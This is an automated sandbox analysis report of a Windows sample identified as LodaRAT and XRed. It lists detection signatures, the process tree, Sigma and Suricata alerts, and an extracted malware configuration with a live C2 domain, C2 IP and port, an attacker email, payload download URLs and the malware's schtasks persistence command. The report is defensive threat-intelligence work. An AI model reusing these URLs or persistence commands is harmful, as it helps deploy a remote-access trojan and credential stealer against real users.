Edit tour

Windows Analysis Report
AYRASY.exe

Overview

General Information

Sample name:	AYRASY.exe
Analysis ID:	1582334
MD5:	07e25c260c13b82cd867daef02255c82
SHA1:	ebc6562d3eb2a877d8cfeafcada1e1af1a66e208
SHA256:	72d043dcd766da3f32477c3c1612165b2124f347013bbb69ba3da85eaf9e3d40
Tags:	exeknkbkk212user-JAMESWT_MHT
Infos:

Detection

LodaRAT, XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LodaRAT

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Found API chain indicative of sandbox detection

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query the security center for anti-virus and firewall products

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains executable resources (Code or Archives)

Potential key logger detected (key state polling based)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected ProcessChecker

Classification

Process Tree

System is w10x64

AYRASY.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\AYRASY.exe" MD5: 07E25C260C13B82CD867DAEF02255C82)

._cache_AYRASY.exe (PID: 6564 cmdline: "C:\Users\user\Desktop\._cache_AYRASY.exe" MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

cmd.exe (PID: 1916 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4328 cmdline: schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1 MD5: 48C2FE20575769DE916F48EF0676A965)

wscript.exe (PID: 3460 cmdline: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs MD5: FF00E0480075B095948000BDC66E81F0)

Synaptics.exe (PID: 5048 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 27C056CC4DAFB6B3161272E800C85E55)

WerFault.exe (PID: 7888 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 3548 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 3404 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

YOABSG.exe (PID: 5672 cmdline: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

YOABSG.exe (PID: 7208 cmdline: "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe" MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

Synaptics.exe (PID: 7704 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 27C056CC4DAFB6B3161272E800C85E55)

YOABSG.exe (PID: 7956 cmdline: "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe" MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

YOABSG.exe (PID: 8104 cmdline: "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe" MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

YOABSG.exe (PID: 5804 cmdline: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

YOABSG.exe (PID: 4092 cmdline: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe MD5: 8E44132C27ADC94100C8D8BE5D4AD041)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loda, LodaRAT	Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as Trojan.Nymeria, although the connection is not well-documented.	No Attribution	https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html https://blog.talosintelligence.com/attributing-yorotrooper/ https://blog.talosintelligence.com/get-a-loda-this/	https://malpedia.caad.fkie.fraunhofer.de/details/win.loda

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
AYRASY.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
AYRASY.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LodaRat_1	Yara detected LodaRAT	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\WBHUSK.vbs	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
C:\ProgramData\Synaptics\RCX4413.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCX4413.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3411280080.0000000002D20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000007.00000002.3411537097.0000000002D78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000007.00000002.3411537097.0000000002D97000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: AYRASY.exe PID: 6600	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: ._cache_AYRASY.exe PID: 6564	JoeSecurity_LodaRAT	Yara detected LodaRAT	Joe Security
Process Memory Space: ._cache_AYRASY.exe PID: 6564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Synaptics.exe PID: 5048	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: wscript.exe PID: 3460	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.AYRASY.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.AYRASY.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 172.111.138.100, DestinationIsIpv6: false, DestinationPort: 5552, EventID: 3, Image: C:\Users\user\Desktop\._cache_AYRASY.exe, Initiated: true, ProcessId: 6564, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49759

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_AYRASY.exe" , ParentImage: C:\Users\user\Desktop\._cache_AYRASY.exe, ParentProcessId: 6564, ParentProcessName: ._cache_AYRASY.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, ProcessId: 3460, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_AYRASY.exe" , ParentImage: C:\Users\user\Desktop\._cache_AYRASY.exe, ParentProcessId: 6564, ParentProcessName: ._cache_AYRASY.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, ProcessId: 3460, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_AYRASY.exe" , ParentImage: C:\Users\user\Desktop\._cache_AYRASY.exe, ParentProcessId: 6564, ParentProcessName: ._cache_AYRASY.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, ProcessId: 3460, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\._cache_AYRASY.exe, ProcessId: 6564, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WBHUSK

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\._cache_AYRASY.exe, ProcessId: 6564, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WBHUSK.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1, CommandLine: schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1916, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1, ProcessId: 4328, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_AYRASY.exe" , ParentImage: C:\Users\user\Desktop\._cache_AYRASY.exe, ParentProcessId: 6564, ParentProcessName: ._cache_AYRASY.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, ProcessId: 3460, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\AYRASY.exe, ProcessId: 6600, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5048, TargetFilename: C:\Users\user\AppData\Local\Temp\eLc9RiO7.xlsm

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:24:23.689476+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49785	142.250.186.46	443	TCP
2024-12-30T11:24:23.690792+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49786	142.250.186.46	443	TCP
2024-12-30T11:24:24.663897+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49802	142.250.186.46	443	TCP
2024-12-30T11:24:24.787303+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49803	142.250.186.46	443	TCP
2024-12-30T11:24:25.669103+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49813	142.250.186.46	443	TCP
2024-12-30T11:24:25.777972+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49816	142.250.186.46	443	TCP
2024-12-30T11:24:26.806878+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49824	142.250.186.46	443	TCP
2024-12-30T11:24:27.033307+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49825	142.250.186.46	443	TCP
2024-12-30T11:24:27.783272+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49836	142.250.186.46	443	TCP
2024-12-30T11:24:28.393374+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49845	142.250.186.46	443	TCP
2024-12-30T11:24:28.911174+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49852	142.250.186.46	443	TCP
2024-12-30T11:24:29.360483+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49859	142.250.186.46	443	TCP
2024-12-30T11:24:29.965830+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49861	142.250.186.46	443	TCP
2024-12-30T11:24:35.945263+0100	2044887	1	A Network Trojan was detected	192.168.2.6	49867	142.250.186.46	443	TCP

ETPRO MALWARE Loda Logger CnC Beacon

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:24:18.707018+0100	2822116	1	Malware Command and Control Activity Detected	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:25:03.966257+0100	2822116	1	Malware Command and Control Activity Detected	192.168.2.6	50039	172.111.138.100	5552	TCP

ETPRO MALWARE Loda Logger CnC Beacon Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:25:18.107770+0100	2830912	1	Malware Command and Control Activity Detected	172.111.138.100	5552	192.168.2.6	50039	TCP
2024-12-30T11:25:55.779991+0100	2830912	1	Malware Command and Control Activity Detected	172.111.138.100	5552	192.168.2.6	50039	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:24:24.009667+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.6	49796	69.42.215.252	80	TCP

ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49979	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	50039	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49850	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49923	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	50037	172.111.138.100	5552	TCP
2024-12-30T11:24:01.975248+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:24:18.707018+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49759	172.111.138.100	5552	TCP
2024-12-30T11:24:27.777887+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49850	172.111.138.100	5552	TCP
2024-12-30T11:24:36.793999+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49923	172.111.138.100	5552	TCP
2024-12-30T11:24:45.810968+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	49979	172.111.138.100	5552	TCP
2024-12-30T11:24:54.840629+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	50037	172.111.138.100	5552	TCP
2024-12-30T11:25:03.966257+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.6	50039	172.111.138.100	5552	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AYRASY.exe	Avira: detected
Source: AYRASY.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SUpdate.ini0.	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dl8	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\WBHUSK.vbs	Avira: detection malicious, Label: VBS/Runner.VPJI
Source: C:\ProgramData\Synaptics\RCX4413.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCX4413.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: AYRASY.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCX4413.tmp	ReversingLabs: Detection: 100%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	ReversingLabs: Detection: 100%

Multi AV Scanner detection for submitted file

Source: AYRASY.exe	ReversingLabs: Detection: 92%
Source: AYRASY.exe	Virustotal: Detection: 87%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCX4413.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AYRASY.exe

Joe Sandbox ML: detected

Source: AYRASY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49913 version: TLS 1.2

Source: AYRASY.exe, 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: AYRASY.exe, 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: AYRASY.exe, 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: AYRASY.exe	Binary or memory string: [autorun]
Source: AYRASY.exe	Binary or memory string: [autorun]
Source: AYRASY.exe	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018DD92 GetFileAttributesW,FindFirstFileW,FindClose,	2_2_0018DD92
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C2044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_001C2044
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_001C219F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C24A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_001C24A9
